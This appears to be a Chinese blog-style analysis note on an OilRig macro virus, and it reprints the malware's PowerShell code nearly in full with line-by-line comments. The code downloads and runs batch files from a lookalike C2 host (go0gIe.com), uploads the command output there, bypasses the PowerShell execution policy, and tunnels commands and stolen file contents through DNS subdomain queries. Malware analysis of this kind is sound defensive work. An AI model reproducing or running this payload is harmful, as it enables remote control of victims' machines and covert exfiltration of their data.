对宏病毒---OilRig的DNS隧道的一次脚本分析笔记

借鉴链接:对于OilRig的DNS隧道概述


CreateObject("WScript.Shell").Run powershell//创建对象调用WScript,再调用shell运行powershell
{
    while(1)//真循环操作
    {
        try
        {
            /*(System.Net.WebClient)Web客户端类调用,常用来从URL下载资源Get-Random.dwn,其后接保存的路径*/
            (new-object System.Net.WebClient).DownloadFile('http://go0gIe.com/sysupdate.aspx?req=__\dwn&m=d','%public%\Libraries\dn\Get-Random.dwn');

            /*Rename-Item -path要重命名的项目的路径。允许使用通配符;-newname项目的新名称;*/
            Rename-Item -path ('%public%\Libraries\dn\Get-Random.dwn') -newname 
            /*ResponseHeaders响应标头;Content-disposition可以控制用户请求的内容存为一个文件的时候提供一个默认的文件名,文件直接在浏览器上显示或者在访问时弹出文件下载对话框。*/
                ((new-object System.Net.WebClient).ResponseHeaders['Content-Disposition'].Substring//Substring返回一个新的字符串
                ((new-object System.Net.WebClient).ResponseHeaders['Content-Disposition'].IndexOf('filename=')+9));//IndexOf搜索从指定字符位置开始并检查指定数量的字符位置
        }
        catch
        {
            break
        }
    }
},0

CreateObject("WScript.Shell").Run powershell//创建对象调用WScript,再调用shell运行powershell
{
    /*(System.Net.WebClient)Web客户端类调用,来从URL下载资源Get-Random.bat,其后接保存的路径*/
    (new-object System.Net.WebClient).DownloadFile('http://go0gIe.com/sysupdate.aspx?req=__\bat&m=d','%public%\Libraries\dn\Get-Random.bat');

    /*Invoke-Expression用来运行PowerShell,接受要作为代码执行的字符串。修改目录将dn\Get-Random.bat复制至up\Get-Random.bat*/
    Invoke-Expression ('%public%\Libraries\dn\Get-Random.bat > %public%\Libraries\up\Get-Random.bat');

    /*Rename-Item -path要重命名的项目的路径。允许使用通配符;-newname项目的新名称;*/
    Rename-Item -path ('%public%\Libraries\up\Get-Random.bat') -newname 
    /*ResponseHeaders响应标头;Content-disposition可以控制用户请求的内容存为一个文件的时候提供一个默认的文件名,文件直接在浏览器上显示或者在访问时弹出文件下载对话框。*/
        ((new-object System.Net.WebClient).ResponseHeaders['Content-Disposition'].Substring//Substring返回一个新的字符串
        ((new-object System.Net.WebClient).ResponseHeaders['Content-Disposition'].IndexOf('filename=')+9).txt);//IndexOf搜索从指定字符位置开始并检查指定数量的字符位置

    /*Get-ChildItem获取文件夹或注册表项中的项和子项。*/
    Get-ChildItem %public%\Libraries\up\ | ForEach-Object//ForEach-Object对输入对象集合中的每个项执行操作(执行语句块),通常通过管道传递。
    {
        if((Get-Item($_.FullName)).length -gt 0)//Get-Item获取文件/注册表对象
        {
            (new-object System.Net.WebClient).UploadFile('http://go0gIe.com/sysupdate.aspx?req=__\upl&m=u',$_.FullName)//UploadFile将本地资源上传到服务器
        };
        Remove-Item $_.FullName//Remove-Item删除指定的项目。
    };
    Remove-Item ('%public%\Libraries\dn\Get-Random.bat')//Remove-Item删除指定的项目。
},0

CreateObject("WScript.Shell").Run powershell -ExecutionPolicy Bypass -File %public%\Libraries\dns.ps1,0//ExecutionPolicy Bypass通过执行策略设置旁路

$global:filename = ''
$global:myflag = 0

function convertTo-Base36 ($decNum="")//base36是最紧凑的不区分大小写的字母数字编号系统。convertTo-Base36从十进制(基数10)转换为base36
{
    $decNum %= 46656//base36编码随机数小于46655
    $alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    do
    {
        $remainder = ($decNum % 36)
        $char = $alphabet.substring($remainder,1)
        $base36Num = "$char$base36Num"
        $decNum = ($decNum - $remainder) / 36
    }
    while ($decNum -gt 0)
    $base36Num.PadLeft(3,'0')PadLeft返回一个新字符串,该字符串通过在左侧用指定的Unicode字符填充指定的总长度来右对齐此实例中的字符。
}
function GetSub($myflag2, $cmdid='00', $partid='000')
{
    if($myflag2 -eq 0)
    {
    ('00000000'+(convertTo-Base36(Get-Random -Maximum 46655)))//base36编码随机数小于46655
    }
    elseif($myflag2 -eq 1)
    {
        ('00'+'###'+'00000'+(convertTo-Base36(Get-Random -Maximum 46655)))//base36编码随机数小于46655
    }
    elseif($myflag2 -eq 2)
    {
        ('00'+'###'+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655)))//base36编码随机数小于46655
    }
}
function Str2Hex($mystr)
{
    [System.BitConverter]::ToString([System.Text.Encoding]::Default.GetBytes($mystr)).Replace("-", "")
}
function Alive
{
	if('###' -eq '#'+'##')
	{
		return 0
	}
    SendReceiveDNS ((GetSub 1)+'30')
    $sub = ((GetSub 1)+'232A') + (Str2Hex $global:filename)查询整个域,其中包括C2域和特制的子域不能超过253个字符。
    $i = 1
    $ret = 0
    while($global:myflag -eq 1)
    {
        $ret = 1
        $sub2 = $sub + (Str2Hex $i)
        SendReceiveDNS $sub2
        $i++
    }
    if($ret -eq 1)
    {
        FixBatFile ($env:Public\Libraries\tp\$global:filename+".bat")
    }
    $ret
}
function SendReceiveDNS ($d)
{
	$cnt = 0
	while ($cnt -lt 20)
	{
		try
		{
			$mydata = ([System.Net.DNS]::GetHostByName($d+'.go0gIe.com').AddressList[0] | ForEach-Object {$_.IPAddressToString})//蠕虫,一个DNS
			$cnt = 25
		}
		catch
		{
			Start-Sleep -m 500
			$cnt++
		}
	}

    if(-not($cnt -eq 25))
    {
        ('#'+'##')
    }
    elseif($global:myflag -eq 0 -and $mydata.StartsWith('33.33.'))'33.33.'提供脚本文件名并指示特洛伊木马开始下载数据以保存到批处理脚本。
    {
        $tmp = $mydata.SubString(6).Split('.')
        $global:filename = ([char] [int] $tmp[0]) + ([char] [int] $tmp[1])
        $global:myflag = 1
    }
    elseif ($mydata.Equals('35.35.35.35'))'35.35.35.35'指示特洛伊木马停止下载数据并执行下载的批处理脚本。
    {
        $global:myflag = 0
    }
    elseif ($global:myflag -eq 1)
    {
        $tmp = $mydata.Split('.')
        [System.IO.File]::AppendAllText("$env:Public\Libraries\"+'tp\'+$global:filename+".bat", (([char] [int] $tmp[0]) + ([char] [int] $tmp[1]) + ([char] [int] $tmp[2]) + ([char] [int] $tmp[3])))
    }
    elseif('###' -eq '#'+'##')
    {
        ([char] [int] $mydata.Split('.')[0])
    }
}
function FixBatFile ($batpath)
{
    (Get-Content $batpath).Substring(10) | Set-Content $batpath
}
function SendFile($myFilePath)
{
    $myFileName = [System.IO.Path]::GetFileNameWithoutExtension($myFilePath)
    $mystr = [System.IO.File]::ReadAllText($myFilePath)
    $i=0
    $mytemp = ''
    $j=0
    while($i -le $mystr.Length)
    {
        $mytemp += $mystr[$i]
        if((($i%24) -eq 23) -or ($i -eq $mystr.Length))
        {
            $myhex = Str2Hex $mytemp
            SendReceiveDNS ((GetSub 2 $myFileName (convertTo-Base36 $j)) + $myhex)
            $j++
            $mytemp = ''
        }
        $i++
    }
}
function GetID
{
    '###' = SendReceiveDNS ((GetSub 0)+'30')
}
function ChangeThisFile ($botid)
{
	(Get-Content $env:Public\Libraries\dns.ps1) -replace ('#'+'##'),$botid | Set-Content $env:Public\Libraries\dns.ps1
}
function Init
{
    if('###' -eq ('#'+'##'))
    {
		md -Force ($env:Public\Libraries\tp\)
		GetID
		ChangeThisFile '###'
    }
}
function main
{
    Init
    if(Alive -eq 1)
    {
        Invoke-Expression ($env:Public\Libraries\tp\global:filename.bat > $env:Public\Libraries\tp\global:filename.txt')
        SendFile ($env:Public\Libraries\tp\global:filename.txt')
        Remove-Item ($env:Public\Libraries\tp\global:filename.bat')
        Remove-Item ($env:Public\Libraries\tp\global:filename.txt')
    }
}
main

你可能感兴趣的:(病毒分析)